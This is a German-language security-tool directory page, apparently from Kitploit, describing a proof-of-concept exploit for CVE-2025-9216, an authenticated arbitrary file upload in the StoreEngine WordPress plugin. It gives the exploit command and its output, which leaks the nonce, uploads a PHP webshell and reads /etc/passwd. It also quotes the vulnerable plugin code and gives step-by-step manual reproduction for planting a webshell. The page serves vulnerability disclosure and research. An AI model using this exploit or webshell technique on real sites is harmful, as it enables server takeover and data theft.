Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-9216 — StoreEngine – Leistungsstarkes WordPress-eCommerce-Plugin für Zahlungen, Mitgliedschaften, Affiliate-Partner, Verkäufe und mehr <= 1.4.0 - Authentifiziert (Subscriber+) Upload beliebiger Dateien | Kitploit
Tools/GitHubGitHub/d0n601/cve-2025-9216
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubd0n601/cve-2025-9216

CVE-2025-9216

StoreEngine – Leistungsstarkes WordPress-eCommerce-Plugin für Zahlungen, Mitgliedschaften, Affiliate-Partner, Verkäufe und mehr <= 1.4.0 - Authentifiziert (Subscriber+) Upload beliebiger Dateien

Repository anzeigen
vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

StoreEngine – Leistungsstarkes WordPress-eCommerce-Plugin für Zahlungen, Mitgliedschaften, Affiliates, Verkäufe und mehr <= 1.4.0 - Authentifizierter (Subscriber+) Upload beliebiger Dateien

Das StoreEngine-Plugin enthält eine Schwachstelle in seiner CSV-Import/Export-Funktion, die es jedem authentifizierten Benutzer (Abonnent, Autor, Redakteur usw.) ermöglicht, beliebige Dateien hochzuladen und Remotecodeausführung zu erlangen. Die Schwachstelle beruht auf zwei Sicherheitsfehlern: (1) Der CSV-Import-Endpunkt verfügt über keine ordnungsgemäßen Dateivalidierungs- und Berechtigungsprüfungen und verlässt sich für die Sicherheit lediglich auf die Nonce-Verifizierung, und (2) die storeengine_nonce wird über das JavaScript des Plugins ALLEN Frontend-Benutzern zugänglich gemacht. Diese Kombination ermöglicht es jedem authentifizierten Benutzer, die Nonce aus Frontend-Seiten zu extrahieren und sie zu verwenden, um PHP-Webshells über den Endpunkt storeengine_csv/import hochzuladen, wodurch Subscriber+-Benutzer effektiv die Möglichkeit erhalten, beliebigen Code auf dem Server auszuführen.

TL;DR Exploits

  • Ein POC CVE-2025-9216.py wird bereitgestellt, um zu demonstrieren, wie ein Administrator eine Webshell namens omg.php hochlädt.
root@kitploit:~
python3 ./CVE-2025-9216.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: ff15beb1bd
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
Uploading web shell: omg.php
File upload response: {"success":true,"data":{"filename":"omg.php"}}

Web Shell At: http://localhost:1337/wp-content/uploads/storeengine_uploads/csv/omg.php

Executing test command: cat /etc/passwd
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</pre>

Details

Verwundbare Datei-Upload-Funktion

Die AJAX-Aktion storeengine_csv/import ruft die Funktion import() in Zeile 51 der Datei /wp-content/plugins/storeengine/addons/csv/ajax/import.php auf, der es an ordnungsgemäßen Berechtigungsprüfungen und Dateitypvalidierungen mangelt:

root@kitploit:~
public function import() {
    if ( ! isset( $_FILES['file'] ) ) {
        wp_send_json_error( 'No file uploaded.' );
    }

    $file   = $_FILES['file'];
    $folder = Helper::get_upload_dir() . '/csv/';

    if ( ! file_exists( $folder ) ) {
        wp_mkdir_p( $folder );
    }

    $filename = sanitize_file_name( $file['name'] );
    $target   = trailingslashit( $folder ) . $filename;

    if ( ! move_uploaded_file( $file['tmp_name'], $target ) ) {
        wp_send_json_error( 'Failed to move uploaded file.' );
    }

    wp_send_json_success( [
        'filename' => $filename,
    ] );
}

Die Funktion verwendet sanitize_file_name() lediglich zur Bereinigung des Dateinamens, führt jedoch keinerlei Dateitypvalidierung oder Berechtigungsprüfungen durch. Dadurch ist das Hochladen beliebiger Dateitypen möglich, einschließlich PHP-Dateien, die vom Webserver ausgeführt werden können.

Schwachstelle durch Nonce-Offenlegung

Die storeengine_nonce wird über das JavaScript des Plugins ALLEN Frontend-Benutzern zugänglich gemacht. Dies geschieht in der Methode _get_script_data() in Zeile 279 der Datei /wp-content/plugins/storeengine/includes/assets.php:

root@kitploit:~
public function _get_script_data(): array {
    // ... other data ...
    return [
        'nonce'             => wp_create_nonce( 'wp_rest' ),
        'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
        'rest_url'          => esc_url_raw( rest_url() ),
        // ... other data ...
    ];
}

Diese Nonce wird anschließend über die Methode frontend_scripts() in Zeile 120 der Datei /wp-content/plugins/storeengine/includes/assets.php an das Frontend-JavaScript lokalisiert:

root@kitploit:~
wp_localize_script(
    'storeengine-frontend-scripts',
    'StoreEngineGlobal',
    $this->get_frontend_script_data() // Calls _get_script_data()
);

Nonce-Verifizierung

Die Nonce wird in der Methode AbstractRequestHandler::check_permission() in Zeile 510 der Datei /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php verifiziert:

root@kitploit:~
protected function check_permission( string $capability, bool $allow_visitors = false ) {
    if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
        return new WP_Error(/* ... */);
    }
    return true;
}

Diese Kombination ermöglicht es jedem authentifizierten Benutzer, beliebige Dateien hochzuladen, einschließlich PHP-Webshells für die Remotecodeausführung.

Manuelle Reproduktion

  1. Melden Sie sich im Admin-Panel an und navigieren Sie zum StoreEngine-Plugin.
  2. Gehen Sie zum Abschnitt CSV-Import (sofern in der Admin-Oberfläche verfügbar).
  3. Starten Sie Burp Suite oder ein ähnliches Tool und beginnen Sie, den Datenverkehr abzufangen.
  4. Versuchen Sie, eine Datei hochzuladen, und fangen Sie die POST-Anfrage an /wp-admin/admin-ajax.php ab, die die Aktion storeengine_csv/import aufruft.
  5. Ändern Sie die Anfrage so, dass sie eine beliebige Datei enthält – im folgenden Beispiel laden wir eine PHP-Webshell hoch.
  6. Senden Sie die Anfrage und empfangen Sie {"success":true,"data":{"filename":"shell.php"}}.
  7. Rufen Sie die Webshell unter https://example.com/wp-content/uploads/storeengine_uploads/csv/shell.php auf und führen Sie Code aus.
Tool herunterladen